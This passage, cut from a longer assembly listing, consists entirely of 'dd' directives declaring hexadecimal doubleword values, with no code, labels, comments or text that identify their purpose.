6E2C99ECh, 0AA00BAF0h, 0EE53C0D8h dd 97BECh, 0E75CD664h, 0E8E03C25h, 0D2A91A0Bh, 0EA36816Fh dd 9DECB524h, 0C3120071h, 6257BAEDh, 15126358h, 20001135h dd 0BDA18607h, 91A90BD2h, 7401E86Fh, 0E0EAD57Ah, 4B0375DBh dd 0DD0CDA8Dh, 5372E0E4h, 78A57EE7h, 5D76028Ch, 4802B26Fh dd 0BA9B30E0h, 0D527B904h, 7C06642h, 4C6E84C8h, 0E601A847h dd 253E0C6Fh, 285880A3h, 0CE041FA2h, 238B00DFh, 0F3F2D510h dd 62008A13h, 0CDA54072h, 0A8EDC20h, 6F59BE51h, 48B504F5h dd 36FCD8A7h, 0C30EA975h, 922B1AE1h, 516AD403h, 0D7BBC0F9h dd 53FD0041h, 1F35F35Ch, 0F266C29h, 0D00F8E6h, 99044958h dd 0DD76073Bh, 407971A8h, 47E8AFEDh, 5F53101Fh, 0FEAE94Fh dd 3B232243h, 6EAD80F4h, 0D74411h, 89165806h, 6035DBF2h dd 0AF0528E8h, 0BA086E33h, 0AA62FE00h, 0DF2961h, 0E95038DAh dd 397EA4A5h, 80744F02h, 0E8265D64h, 0A5A01EC0h, 0A8C580C8h dd 8A491288h, 605D9B00h, 8CD8AD8Dh, 0F6CEF062h, 0F4341D48h dd 0EB6740C9h, 9ED9B270h, 0C158DAC0h, 2CDECC83h, 8018CA19h dd 0F94BBE37h, 0B61345E5h, 7441058Dh, 0ADC1F602h, 0A8012828h dd 0A69FE82Bh, 16D7000Ah, 0CF330992h, 0E28B80F3h, 4860C88Eh dd 0EEF54E07h, 58FA1E0Bh, 40200E05h, 0CC23C995h, 0C27D92h dd 20C074BFh, 0CFC5CC5h, 0FD69CB17h, 17808C00h, 3095EDABh dd 0BE09AC28h, 0EA0FEFDBh, 0E0EED8B6h, 6DCA837Bh, 0C3D50408h dd 0B451053Ch, 0A01F11E8h, 9EDEEBB7h, 6BB873C0h, 45927Fh dd 0EDD910D6h, 407DFDE5h, 0FA5E323Ah, 76D3B00Ch, 75E7D872h dd 0F9A91286h, 764008Fh, 0CC4D26A2h, 3E26AFEAh, 5600850Dh dd 19293041h, 801C24FDh, 0C66090A0h, 75001B3h, 3D48CC5h dd 580B88EBh, 0E52080A0h, 0E41B8F0Dh, 0BC0E007Ah, 0C1234E62h dd 0E4A09159h, 0BD04E91Ch, 442C04B1h, 51500890h, 728BFCFFh dd 1307866h, 0B79CEF6h, 7032B392h, 0A600B85Ch, 0DE312CBEh dd 0EC42BD24h, 881460E2h, 807F73D9h, 4032F100h, 0C6206A0Ah dd 1FAB0F09h, 9FC0CDBFh, 0B7E214ACh, 3B17725h, 99400294h dd 0A5E4F4EBh, 0CFB8005Dh, 7A87E372h, 2073013Ch, 10F10233h dd 0C2F0F88Ch, 0B42014Bh, 0D7B7E74Ch, 2146DC57h, 0CB4A8501h dd 9B6859B9h, 9FF8DCh, 4CDA99B6h, 0E7C6A2FFh, 1C124700h dd 0A9A5A30Fh, 73C800D7h, 0B511C0C1h, 3C3F0EDFh, 357A0007h dd 6D0ADEE7h, 8C8500DAh, 8B77F74Dh, 2809C74Ch, 8197A299h dd 7EEA5D89h, 7C82D041h, 1E7D4AECh, 0C0DB9623h, 7A419DC3h dd 0D300310Fh, 0EC2EC498h, 0AB86EF9h, 0B9FC62CEh, 88003F04h dd 6823BFC2h, 3C0B44B7h, 80FEEBACh, 0D31DE410h, 7E5602BCh dd 0DF41E59Bh, 0CC09B078h, 1FDB673h, 0DE44990Ch, 0E878AAE3h dd 182AC3BCh, 11B5C66Eh, 5C0FF9E6h, 0E91EC497h, 0B058C3B2h dd 9ADBB3Eh, 0CB96E334h, 0A5C02C21h, 4E33C8F9h, 85E88027h dd 2490E69Ch, 1F78BF21h, 87AD3AFCh, 9128BB3h, 0C4BD4000h dd 9024F450h, 7C0B6895h, 0D3F0AE24h, 0E865A400h, 7C4CAEFBh dd 76D21FFAh, 39E407Bh, 8820A0C8h, 371A4E00h, 0AD40E33Ah dd 0B8B9EE62h, 0D1090355h, 0C319A39Dh, 0A66AEBA8h, 36EA8B07h dd 0CC51C9E7h, 0E8BA971Dh, 6285A439h, 0C29A17F4h, 0F2C24154h dd 599E5C68h, 0F3B4CC00h, 589611C7h, 3D09886h, 18C6E7D3h dd 2A98464Ah, 0EF1835E5h, 782175F5h, 1542090Dh, 240EBAFAh dd 9983A300h, 60121AD2h, 2800C576h, 16204C85h, 0A211C03Bh dd 145C5035h, 0B3825100h, 2CD85D4Dh, 232F02B5h, 0A5AB18C9h dd 5E528440h, 1BBB480Eh, 0E20AE7E9h, 0D8E81372h, 45D0E68h dd 0E18093F9h, 0E3088EF1h, 9E8F2700h, 9A7CF3ECh, 177EAD9h dd 1BA7101Fh, 0CF78841Dh, 0CB0F0900h, 0C8066E5Fh, 0EBDB045Eh dd 0C0AB5A9Ch, 952C5370h, 1B8A5109h, 0F1FB80A9h, 9ECF0CA1h dd 68AE0090h, 84340180h, 0BD801099h, 1B39D032h, 0B8420069h dd 0D668DEC8h, 7D5C82B1h, 55090070h, 5865FDEFh, 127DF0h dd 0E40D33D7h, 0A3FF392Ah, 0E5C09612h, 0BF6D3200h, 1C218E0Fh dd 81D4B2F5h, 0F2551D3Fh, 0CFB02F12h, 4859F293h, 0C303C39Dh dd 0AF8573E3h, 0C86EE9A0h, 6FFDAD07h, 68298C4Bh, 0FD0EC94Ch dd 0CB1660EAh, 47D1008Eh dd 399ABB0Ch, 78000F4Eh, 0AB56C2E8h, 871E65h, 0B46BB3C5h dd 3A31BE7Eh, 97CCD103h, 0D6BB7C6Eh, 16EBE048h, 0C0C1F152h dd 0B225CD80h, 2EC0941Eh, 80F42440h, 6BB43Dh, 0D6C30F4Fh dd 0FE6F86D8h, 0F6006EE0h, 27478E1Ch, 3B92579h, 3428BEB2h dd 4BBF401Eh, 0F65DAB00h, 6907D4D5h, 5220047Eh, 0A38C8711h dd 0E28E71BCh, 3FE009EBh, 781618A2h, 6148873Bh, 0EBE61E21h dd 6ABC64h, 6F568221h, 96283D1h, 70181264h, 0CD416500h dd 0EC02BC66h, 9A6C4819h, 87C640F6h, 5028A049h, 85AC39DCh dd 0C7CA4F00h, 0B1EBD520h, 9D3E7300h, 109FE3FEh, 1E5F145h dd 75C160h, 0DFAD58EDh, 0AAB68803h, 5501547Ah, 0A07C105Eh dd 15FC02D8h, 0DCB065h, 0CE566148h, 3216A664h, 466FA800h dd 6733CCCFh, 0A1552E80h, 780D0124h, 0E3300E81h, 0DB3235E0h dd 50264800h, 7CD4E154h, 1AC200DAh, 0F072EFF1h, 0C6289FB8h dd 0F31C6EBh, 3FA1D113h, 2694FCE0h, 6F5226h, 97176C2Ch dd 7400C040h, 71C727ABh, 6D30E2Ah, 0D83FE511h, 15000913h dd 0FAEA2D8Fh, 0C92696h, 0B57275E1h, 0EEDC4B5Eh, 2D09A5F8h dd 10B7E359h, 8A4D94h, 53F4BB19h, 5ABF6590h, 8E609700h dd 0A98D0834h, 0AAEE80h, 0CF7D5444h, 0CD470DEh, 72FEAC00h dd 0F1176AA1h, 0A5660384h, 2980CAEFh, 0F2ED0BD0h, 8367AE03h dd 0EB5709DFh, 14FA043h, 0CDA0000Dh, 0F30EBC2Bh, 87003335h dd 0A98EC96Eh, 2C795E28h, 3202FE9h, 3443B64Ch, 0AF404BC0h dd 7B21DD00h, 57F087ECh, 3E7C0094h, 83F5CFD3h, 1E3B2C15h dd 48F22666h, 56BB4B84h, 37E70CC0h, 497A3FC7h, 0F73F8F00h dd 1E24AA34h, 303C0F59h, 15497042h, 0F469003Dh, 18E8B3F2h dd 2C969294h, 4034020Fh, 70D28F31h, 0CAE350CCh, 4141C0FAh dd 35DB1BBFh, 8ADC1900h, 4B231475h, 46493DADh, 0C41F6A82h dd 64E8027Bh, 5100C8CDh, 6048C97Eh, 0B6A9C38Dh, 23A507E0h dd 0A473D0A1h, 0A00D6D7h, 0B8194D89h, 1CB7087Bh, 4E10675Fh dd 0F880F464h, 3199F551h, 6204F216h, 0B6759840h, 58D0AB37h dd 8E0E1AE7h, 64A0672Eh, 0EC5A0359h, 5DCBE0A0h, 0C00EFC00h dd 8DDCCE83h, 7CBE0042h, 1F02DDB6h, 121F8CB5h, 4B806850h dd 43F633A3h, 5C1628AEh, 1D7107AFh, 0F0CAD26Eh, 0AAE94495h dd 7C2DC903h, 0D2ACF3F1h, 0C7ACC873h, 0A62A00F8h, 0DA154D87h dd 8A1FBD56h, 0C7ACCCAFh, 7C6009h, 0B9B13578h, 0E82B00B7h dd 86417D06h, 3F002416h, 0C1979DDCh, 0B2C814ADh, 0C7BC0574h dd 874A2D1Bh, 5428E082h, 810E5A4Fh, 0DE883E2Eh, 2DBC7AC0h dd 73645A1h, 0B2661FFCh, 0D5BAB2B0h, 0B3269940h, 9E144A01h dd 6B49AC4Dh, 0ED07B08Ah, 478580ACh, 0F8B61A84h, 68B75700h dd 0A0FDD393h, 79DC00AEh, 47A23218h, 5F5E7803h, 0F36D1400h dd 3A6FCE23h, 0EC0FBDD9h, 8E402E38h, 873DBA32h, 0AEC1563Ch dd 811C98F2h, 0D429DA00h, 30246883h, 4E493F1Ah, 0FF00FE10h dd 3C3BAA69h, 9294F6BBh, 52AB3938h, 0C041580Ch, 6F040E10h dd 1DCF8424h, 44EF4082h, 48F30E34h, 0D640F28Ch, 0EDAE4518h dd 694DD916h, 7F748880h, 5C751D68h, 0D284156h, 20D22D49h dd 0C600C040h, 3D66F9D5h, 3D0C4B9Dh, 0AB80FE4Ah, 38AED239h dd 0C8A00841h, 52002AA2h, 16C728EBh, 5C023Eh, 7489D6F3h dd 789E85E9h, 4608DC00h, 0CCD04249h, 2A363994h, 12D2840Bh dd 0D6DC0E8h, 0DA824F0Eh, 5EA1800Eh, 0FF25128h, 52DDCB23h dd 0D893BD60h, 2400E507h, 3C47AB68h, 7E2D4C3h, 9555C020h dd 0A2A9E063h, 1703E602h, 0DB30423Eh, 14C88815h, 0D844018Ah dd 2AD5AC22h, 0A8C3F0E6h, 755B640Ch, 8E58BBh, 459E1051h dd 0D5B97CD8h, 0D32FDC00h, 55B83888h, 82B50068h, 0BA47847Fh dd 0CE00B3F3h, 0A88BF47Bh, 0A09A3FF6h, 2401CCBCh, 0CE8011h dd 9F5B0412h, 0B401BF42h, 0BEC32F57h, 0F6C063B9h, 167A0068h dd 98CDFAD7h, 6400C4B8h, 85BFC36Eh, 99371h, 822CC705h dd 89E44FF9h, 9A654009h, 5DD09135h, 0C09D30h, 0EFDF2195h dd 58B50727h, 0E7EAAB00h, 8D624017h, 4A460082h, 0C206A041h dd 6D0965B0h, 0A75DE2h, 4C39F631h, 4AD3D43h, 80203124h dd 0CAE0A021h, 0DF03C163h, 8DDB395Ch, 2A92E01Bh, 0D271C6h dd 20720AF7h, 0CDD091CCh, 0D9CAFC13h, 4A440Eh, 6861D48Ch dd 791E38B1h, 11195A00h, 0D32DCAC8h, 3AAD9001h, 4031433Bh dd 0CBB8C8h, 0E11FFF0Ch, 54A2FBD9h, 0D0E46900h, 0A4052B6Dh dd 450E0655h, 0D08F427Bh, 26602700h, 0C2EF89EBh, 849A0049h dd 85E481DAh, 9807D923h, 69BD2897h, 0D2401C50h, 0C53A3EE8h dd 644E980h, 9947312h, 6EC4B100h, 705D95A1h, 7F7700F3h dd 1458A3B0h, 9B0E288Bh, 7CB386h, 0E38508CBh, 7B040027h dd 139499BAh, 91039D77h, 8466A06h, 0E6200090h, 0C3286102h dd 7E01E703h, 6E55FB54h, 9CE869BBh, 70637648h, 0B03C000Bh dd 641312DBh, 891E190Eh, 4ADE51D8h, 40905F80h, 327666Fh dd 9A3915D1h, 59B0AAAh, 781F9B0h, 99F0B401h, 8030567Eh dd 4961FCh, 3FBF35FFh, 0F5BB4A0Bh, 1FD1B501h, 62C938CDh dd 4599ECh, 1BDADD05h, 0BE6BFE89h, 4B593300h, 3E93083Ah dd 86C20138h, 8EAA658Ch, 872AF8C4h, 7C052F00h, 3EA472DBh dd 9F2701F6h, 0B44F1A06h, 88D60ADh, 79377D00h, 56BA7FC0h dd 5A8C00B1h, 9D859F55h, 0C00ED34h, 66C94722h, 0D87748h dd 0BBB01BA1h, 16F9CF9Bh, 0C29A8C0Fh, 0E17083C3h, 939D9872h dd 296C008Bh, 86F7E3Ch, 837E557Ch, 0C0078C1Fh, 484CFF40h dd 0FAE2025Eh, 7D6E008Fh, 0B0FC3380h, 0DB2CE6FAh, 1C003297h dd 3BF931FFh, 0B8097782h, 0C4B2018Ch, 366FC0DDh, 6B47FC8Ch dd 0EABA5107h, 7B909E0Ch, 13F4B882h, 3BA640h, 2D6C4F1Dh dd 0D3335348h, 0D9D668E1h, 7D32FAAh, 129EDA78h, 19328046h dd 6A60CCE9h, 0C1CA7A18h, 0C8AAEEE8h, 25013A11h, 78D38713h dd 6FFF2086h, 0ED06C1D2h, 327AC489h, 3850D018h, 0AEE91606h dd 6A05496Bh, 0EF1A47C1h, 0E4CAFEC0h, 0BD2502B9h, 6DFF7FEEh dd 9F572881h, 1840BCC4h, 5AA0DF45h, 290FE8D7h, 18104D48h dd 555E3801h, 84001AFCh, 76FFE124h, 0E43956h, 92E0FCF6h dd 0BE726FEAh, 159A9001h, 24137AD3h, 0D88CFCh, 32263F17h dd 67C6ABB8h, 1F2D1958h, 5947E5ADh, 5CC1F0E9h, 60D68A2Dh dd 1C7C810h, 137CB8F1h, 3061E130h, 0FA001D43h, 4970A18h dd 49B314h, 5AC878CEh, 43706C92h, 8265D300h, 1192371h dd 6458001Fh, 0D8D74908h, 0B072925h, 0B6D54038h, 5E431380h dd 3D14F4DAh, 359D7241h, 0D728CBh, 4E04DDF0h, 0B2EEAA75h dd 0A8EEF1B8h, 14C38100h, 3C6FD606h, 18EC00E4h, 0D3503662h dd 0A00E557h, 555C076Ah, 2C48214h, 7D3A327Ch, 0D8A0861Ah dd 0AF850BA0h, 8E00C098h, 8C68B3B2h, 0E250A9B0h, 5FA60084h dd 0F7238B51h, 800C273Bh, 925240Bh, 0E5960053h, 0E2931A61h dd 0EF00D7A6h, 9888A7BEh, 0C7AE10B9h, 90D5A251h, 1173C15Bh dd 0B01C758h, 58C4C5A4h, 5A702Ch, 9A04E927h, 451CB58Ch dd 998D1900h, 6A47A50Dh, 18CC0024h, 9EA43E9Fh, 0A1079057h dd 99C2C4ECh, 7E980360h, 10DF8F9h, 6BEBC612h, 0F47FA3A4h dd 0CB002208h, 9BB5C269h, 0B41476h, 940E7D09h, 0F018FD40h dd 315B7500h, 611CC2CDh, 594307BFh, 70C78841h, 77ED8589h dd 532DD500h, 9AA35F82h dd 1B3A0076h, 0D947819h, 0C70F5D14h, 80629C37h, 0D6D2AE05h dd 9E2A0253h, 6DCF86FEh, 1C307440h, 7B2CF300h, 70239B36h dd 0FFAB00CDh, 7CE3C366h, 0D300E0E5h, 3A6351F4h, 73DBDC8h dd 16A4A86Eh, 29FDF021h, 5400F87Fh, 0D5CC1760h, 1F4E8475h dd 6492794Ah, 0C16D8F90h, 0C7C51380h, 0C300CCF9h, 63F84209h dd 675A20h, 0B86BC1A9h, 89E2397Bh, 0BACC0700h, 0DCA712F0h dd 77720B3Bh, 0EB00345Bh, 0C2238EFDh, 90966600h, 569367CBh dd 0F7907C1h, 70775F1Dh, 6A2C9E73h, 2D0036FAh, 8ACF6E60h dd 0D2E059h, 6776B1C7h, 0B0493F5Dh, 822B4C00h, 0D6AD55D4h dd 0C7CA0709h, 9333A132h, 97DF6C08h, 7D007921h, 66B5ACB9h dd 3E2C8E00h, 9023D1EAh, 324806BBh, 0F8DA54D5h, 0E3432222h dd 9325988Ch, 0A000A6C8h, 0D32595Ch, 46FB86h, 47E2C8F2h dd 0C67DC921h, 5A449D1Ah, 0E9F540EAh, 91F800C0h, 9F77CA60h dd 0B65408FEh, 1C0086DCh, 21FB3701h, 1D230E87h, 15045559h dd 6524E46Eh, 447E0075h, 7B323CF8h, 0ED008778h, 0BE966A95h dd 72080Ah, 8BF51CD4h, 9D811A2Fh, 0FFF1CD00h, 0B9520201h dd 0AFA4A0E5h, 87E0467h, 87CFCC8Ch, 8823F228h, 0BBFB48E1h dd 0D6329098h, 31B7077h, 8720FA34h, 0FFC8AD08h, 3601AB57h dd 0D734C99h, 58A83158h, 0D5CD26E7h, 0C0BF1E9Fh, 0BD4CB528h dd 3300551Ah, 9052AA34h, 2B4F26h, 0A739DF6h, 8545197Ah dd 496EF200h, 0A41AC49Eh, 9580294h, 65336105h, 0FA3612E0h dd 7DDC6A07h, 0C10E67A8h, 2692EB0Eh, 0D95FE0h, 27ECDFC2h dd 0B134E23Eh, 6B409900h, 0FAD8EF07h, 4C7960h, 10210666h dd 0D36D0356h, 0A897B100h, 0AF0A79F1h, 85E681h, 0A13AC3A3h dd 7C4B5576h, 64A85400h, 31E4481Eh, 0F1583971h, 70915A04h dd 0F65DC0A1h, 72004793h, 0C954920Fh, 3CE7795h, 0C3F837D4h dd 98E3254Eh, 0D1801DEAh, 361572D7h, 0F7BB7516h, 8B06B500h dd 4CC2F81Fh, 101987Ch, 0B9D46E7Bh, 401CDDEBh, 0FB728288h dd 5F004B71h, 6AFC6642h, 62D373h, 3B34D0D7h, 0F5B7C02Eh dd 6F0E7590h, 76A26D02h, 6A268800h, 1B57ED8h, 0FBA9DD11h dd 25B4491Ch, 886CD43Ch, 272ED001h, 12F26E9Dh, 431DBC0h dd 36943C3Ah, 0C40EAF63h, 0D6C900A8h, 0A17DB1AAh, 13EC27F8h dd 7E82301Bh, 9C36F010h, 0AF99C400h, 0AED85F4Eh, 79580FDBh dd 0BB20B88Dh, 0D7C58659h, 0CE3D6890h, 0E76F1D96h, 49AA5130h dd 665B12EEh, 0A1B80081h, 3EF115D2h, 8EF68300h, 0FF390819h dd 443700ACh, 5F6DDF02h, 5100678Bh, 6E1C12ECh, 0AFFA5F3h dd 26808E79h, 47E80EF4h, 15B7AD00h, 4D13E190h, 140F53BEh dd 75094548h, 0ED80EFC0h, 430D2CFAh, 0CDC839EDh, 4A10A500h dd 1C4144E3h, 0C81FB877h, 46008FE5h, 64CC666Ah, 5DD50007h dd 7098FC09h, 2900BAA7h, 3108F73h, 787BB2h, 0E5387AA9h dd 0CCEDC82Bh, 8D661B00h, 533A2C62h, 291700DCh, 0CAC41D7h dd 2F02225Fh, 4257306Eh, 95C2C0ABh, 4D20390h, 0E68C5069h dd 572BF4B8h, 2D876C1Eh, 2E0E4466h, 0AAFA47CFh, 310AD500h dd 0DFA200C1h, 114481F7h, 4C3C0F14h, 5500F5CEh, 0DBC2B29Fh dd 3AC1C9h, 37BD02F3h, 1A605184h, 0B828030Bh, 19A0008Bh dd 183A6AC2h, 307BBF15h, 9B00F23Bh, 1CCF842Ah, 0C447EFh dd 0C68F4A94h, 0DB8EB92Dh, 847A6700h, 279AB85Eh, 88990030h dd 0FCA6CFA4h, 0F7047029h, 1C452339h, 0E51464C1h, 1D69EC74h dd 40209954h, 2C2DB3BCh, 6328C3E7h, 0E926A1B8h, 1002065h dd 2B0233EDh, 0ADD4009Ch, 0A89226B5h, 0F009538h, 183F4716h dd 3ACB7AF2h, 7B80E978h, 64D21701h, 0EF090F7Dh, 4470FF9Ah dd 385CB034h, 3C84C1ACh, 3C7CF9Bh, 0C124E1EFh, 1180DB7Fh dd 0E2D7DAD1h, 570069F0h, 882DAF13h, 3DD2371Ah, 80BCB151h dd 0E5F7BF7h, 0E50E8414h, 8FBBA320h, 0F20008DEh, 9DD3AD6Bh dd 12D150Ah, 90AF7E33h, 0FB9B930Ch, 5D1CDAE8h, 35003AE8h dd 0E6FA7686h, 0B7F780h, 0FB0EB643h, 7E8F529Bh, 0D346E403h dd 0E209E6CFh, 1E0C81ECh, 9FD18CA8h, 0E8370E0h, 0AA889E7Bh dd 400C9A86h, 0D34A0B00h, 3F666596h, 0D93A0070h, 8C5781CEh dd 720090EDh, 0E49ABC4Fh, 6B7C15h, 0C660B688h, 0AB5D8EFBh dd 0A26EE200h, 7C1896D8h, 6F9A0035h, 0E6ACF4B9h, 9201857Eh dd 98B44BDCh, 81CC5C8Fh, 0A1F81E88h, 0AD4807F1h, 0D380EFEBh dd 629123EFh, 5D30AC00h, 0FFDAD497h, 8FE89Eh, 0D6EF341Eh dd 8546408Eh, 7AA903Ch, 8DB8F8EEh, 0B01A42D0h, 0E98F0076h dd 67BC1074h, 3A009482h, 9F52D76Fh, 0A0F2BE86h, 0F8DDE484h dd 0D8E507DBh, 70F0DE33h, 22E6DC32h, 0E2B06E00h, 67B76F31h dd 0D3850349h, 0D19A5DC4h, 0D2FF0900h, 0D7C68C37h, 3190034h dd 0F4AF902Ah, 0B1038B1Ch, 0C20598B6h, 44AB981Eh, 52DD0051h dd 0D99532E2h, 7312B641h, 7A1E5818h, 0AB16F340h, 15EC03h dd 0FDACA74Ah, 19AE4364h, 0ADA1210Eh, 0CCE80F9h, 0EE20EE46h dd 0F89F002Bh, 19241C92h, 413F642Ch, 89C01EA5h, 8079874Fh dd 1D329F81h, 29EC0002h, 0DEF7D156h, 0C91D6E7Fh, 23C0830Bh dd 30E9C043h, 893C3947h, 1312AB0h, 7C00A95Eh, 50EF529Ah dd 6DD71Eh, 123CE26Ch, 8CEB167Ah, 0A9BCCD00h, 52325089h dd 4F882CC1h, 0C4A400C2h, 65B3C88Dh, 4EC9D4FBh, 8C45D900h dd 0E9053424h, 9DEA3843h, 704A5C98h, 950FFB5Fh, 0C09BA216h dd 5AC9E342h, 0C1974B9h, 0E06D9825h, 1058E228h, 3C530178h dd 84671BA7h, 0F9F7020h, 2B153D90h, 0AAEE29A3h, 3ABF56E8h dd 8DC9DD00h, 0D859A80Ah, 0D37460h, 6361C57Bh, 67D299C6h dd 1A0F3702h, 489EFB10h, 3A7E198h, 1872A215h, 3DF84986h dd 7F000536h, 0B45CCBE8h, 3C75071h, 58FE8E0Eh, 2DA8C978h dd 0B80F9554h, 0A02BF5EFh, 9FAF82A0h, 0CC320E06h, 8020FF77h dd 522D6F25h, 1C93CA01h, 3BBD6A2Eh, 0FBA3C843h, 0B95A0055h dd 0EFCE905Dh, 52E85E6Eh, 26F71400h, 0D0F12AE1h, 59B0E6h dd 0C0F32EBh, 0A1CA1E72h, 0E7B05800h, 7DD8F874h, 3E1D0064h dd 0C7ABFA5Ah, 95009735h, 0CA0699D1h, 9EA466h, 0F608AF9h dd 0C558334Dh, 1F0B7C00h, 0ECC8A936h, 0D64900D2h, 43CD7BE0h dd 9200A4F6h, 22A56F87h, 4C92EABh, 7C513846h, 552CC07Fh dd 0B20005AAh, 0DF83D58Eh, 3274474h, 652CCAF6h, 46F0A340h dd 0DD00AD9Dh, 0CD1C9EDCh, 606D6FAEh, 4079A6EAh, 0EE008BD4h dd 0C98A4889h, 67DD87h, 0F2B75CBDh, 0B4AB7828h, 802F663Fh dd 63A5CE6Fh, 0E8650311h, 950500A3h, 85101B40h, 0E4A0E909h dd 0FA09A793h, 8DF56h, 5C78DC20h, 0FD2D00C3h, 793D9E1h dd 80093379h, 912A0h, 0A5D30B14h, 77690E64h, 0DB404810h dd 0C7E75CFDh, 0FA671118h, 18476BC0h, 11BE1C89h, 0A0B92ACh dd 1506ACBh, 25D6C5A7h, 490950BAh, 0CC0038E7h, 75079F21h dd 9C9E9B00h, 323695F4h, 0A51E2A19h, 0EFC90F8Ch, 65800258h dd 0A2EEDAFh, 0C14F2733h, 8B0CA04Ch, 0A66B1F13h, 8058641Bh dd 1A3D509Fh, 0C900EA2Ah, 0B978A791h, 211235h, 0C7F22790h dd 0B076CB52h, 9CE5FA00h, 0A2BA77F6h, 38C30E88h, 0B520F578h dd 74B69F6Ch, 80A7663Bh, 0B08E93ECh, 0F2DFBEEDh, 0D8AC00BCh dd 6160E2B1h, 0A00090C6h, 0A37DC553h, 0B80E34h, 0CD1B91F8h dd 0AE861C6Bh, 0D1FDF8C0h, 60A67E46h, 9C1241CBh, 0D30053B8h dd 4E85E16Bh, 99EBFh dd 8640C3A0h, 565EBB31h, 34D9FD03h, 12C60DB4h, 142E038h dd 0A1B22F1Ch, 0B39F095h, 3E5DCC0Fh, 7903F31Bh, 0A82C9752h dd 9DE2A3h, 7B3508BBh, 0D7FC5EF9h, 0A261AC00h, 48572F0Fh dd 2DB06Dh, 82172BB6h, 0C3B731FAh, 220E5600h, 0EB27FCE5h dd 0C760032Dh, 0AAF58A02h, 2A7469F8h, 192EE300h, 6662A180h dd 86080075h, 0C76A218h, 0E6013D82h, 0C8E02032h, 5CC0480Ah dd 0D47A3E87h, 80A6C860h, 9448CF6Eh, 795E0380h, 9B198959h dd 976DB6Ch, 0C0343CF8h, 28007789h, 41158EB0h, 2F0AA10Eh dd 9D49E00Ch, 9296ACE1h, 53613000h, 0E5D75276h, 60F24Ch dd 99A59CCCh, 4718FB3h, 2E3C28E7h, 0FC3480ACh, 570E82F4h dd 69D17C35h, 0EF30000Fh, 27A4019h, 0F69A77F9h, 3C4409CFh dd 0D840A0DEh, 0B70ACB55h, 8FF002FBh, 363425DBh, 0EF20B848h dd 5CC8991Dh, 6C9268A4h, 3C0D3C00h, 133971Dh, 0B7D901AAh dd 43064A35h, 5FC86F90h, 9800F17Eh, 12291CEDh, 0BA0402h dd 13613899h, 0A9F3461Eh, 24B080E4h, 0E1F11400h, 0AAA3FFC2h dd 2B1F0089h, 7333DEDh, 7D129008h, 9103ACA8h, 0F05E81E9h dd 0E437EF2Ch, 7E2E0951h, 0A4009FF5h, 99E8F272h, 0AD683100h dd 5BCEAC94h, 772E12E1h, 5C3401F6h, 0EC076245h, 0A700C9A4h dd 235E08F0h, 0B03AA03Eh, 82E500D4h, 7888FE92h, 4F0379D8h dd 0D01D039Dh, 0D390A71Bh, 3D06BFE8h, 0CF80048Ch, 64B5071Ch dd 5E006BEBh, 7A02199Fh, 0E7A52Bh, 72478284h, 21D09929h dd 9728F61Fh, 3BFFD9Ch, 0D33E14AAh, 0DFBCA0C8h, 55123A91h dd 0AF9F3A80h, 0F580491Dh, 80E0343Bh, 0EE406C9Eh, 0B0CA72F0h dd 54741C38h, 5C1D807Ah, 2B16BE70h, 52A73100h, 49712225h dd 26100B2h, 0BF795F99h, 5A002BA1h, 3382C827h, 3104341h dd 0EDDCF030h, 7AA86714h, 0F00B5EAh, 922DFDD4h, 4C41A0h dd 3CD039B0h, 0A4239360h, 7E516B07h, 0E26373DDh, 277100A0h dd 585F590Ah, 6E1681B6h, 491177DDh, 400E2010h, 50745A78h dd 3F98BD01h, 705D25E9h, 15771081h, 805B580Bh, 0A09FA620h dd 63DE31D3h, 405D48A4h, 0CDF183Ah, 14618356h, 0A0FA0079h dd 62577BD8h, 0CB0795E1h, 7DD756FCh, 6A5D9C10h, 79A615DFh dd 8E9C5C75h, 60985912h, 403DD7DAh, 304EBA9Eh, 4C0B8190h dd 65AD007Fh, 981E8FEh, 4A005994h, 64EBE6DBh, 610E31h dd 912657BAh, 481C72ABh, 30925200h, 0D15C332Dh, 0FC6703B7h dd 0F739E1D2h, 606E74A9h, 0E8032733h, 0C4FBACE4h, 5841D88Eh dd 53C11CFEh, 0DFDC4097h, 0F4CEA611h, 0AC986C03h, 0F0BB1B60h dd 3EEEF66Dh, 86805687h, 9D42CAFBh, 0BA7C5739h, 35097D00h dd 674DDA9Bh, 0C5B7B89h, 45E84AA1h, 0AD00F324h, 8D2FE30Ch dd 85F0EBh, 0D0B2D65Ch, 338C3056h, 0E93ED104h, 28883B95h dd 0E69A0144h, 7996DD6Bh, 989DE9DEh, 64214908h, 33E60799h dd 532946B7h, 53D80A21h, 0E800E028h, 587D410Eh, 0F47D95Dh dd 6BA13F46h, 187822A6h, 3A219F1Fh, 0B63624E0h, 6AC2C34h dd 60E9BC61h, 90F2B2F0h, 0B16A0909h, 990C067Fh, 21516008h dd 8A908897h, 21AB3Fh, 0F63FEEC0h, 34F9FEAh, 0D81C668Ch dd 704458AAh, 0BB9025F8h, 0AEDE6300h, 0D13A4F1Dh, 0A02701ABh dd 3C578322h, 0BB2980DCh, 969BBCF6h, 0B8310063h, 22EFC64Bh dd 82EF99A1h, 0BFB6F738h, 40CDE023h, 0DE40C7D8h, 6566A0E3h dd 19B04D19h, 0C369CA00h, 311C7C28h, 64D0002Dh, 0DEB3A47Ah dd 1F000AF1h, 20CEB901h, 16B207h, 6F5DF327h, 0CBE30F8Ah dd 0EE1F600h, 235790Bh, 0BFAD0187h, 0FD374F26h, 3B7DE0F3h dd 0C2D7E200h, 2AF7BD16h, 32050970h, 7680085Ah, 988ADB82h dd 0ED00EB7Ch, 0B5DFEC9Dh, 0E8D9F29Bh, 0DD760E9Fh, 0A68174E6h dd 0E8121AC4h, 16601B0Ah, 78F16009h, 0F66F0019h, 0CACB6A6Dh dd 39018631h, 9B1CA93Ch, 33C527B0h, 0DAACD4h, 2B9A120Ch dd 0C479C022h, 8800FD72h, 50A92715h, 12E4Ah, 927F9EB2h dd 0FFFDE352h, 0C1006073h, 685EE5D1h, 2F0B1A59h, 9D7E1DA5h dd 96EE5300h, 37AF94Eh, 6543F0ABh, 1800972Bh, 2F37B3A6h dd 40C1BFh, 0FE6F1AE4h, 0A407CF7Fh, 0AE98F500h, 35593A30h dd 1F10002Eh, 4AA05023h, 2F03B1E4h, 0EA46CB1Dh, 1E88F871h dd 64540304h, 507843D9h, 0EBA192A0h, 8C3BAB3Ah, 0C003F9C2h dd 8E4903F1h, 8430C989h, 37AAB0C0h, 250026FCh, 9F4294A9h dd 24B390h, 0BDE0B622h, 0D06AEADh, 80607039h, 5A63E879h dd 886D2Eh, 4E0E30B2h, 0E012AB3Ah, 83F0ED3Fh, 1864E4F2h dd 3625CF67h, 0E5F5EB00h, 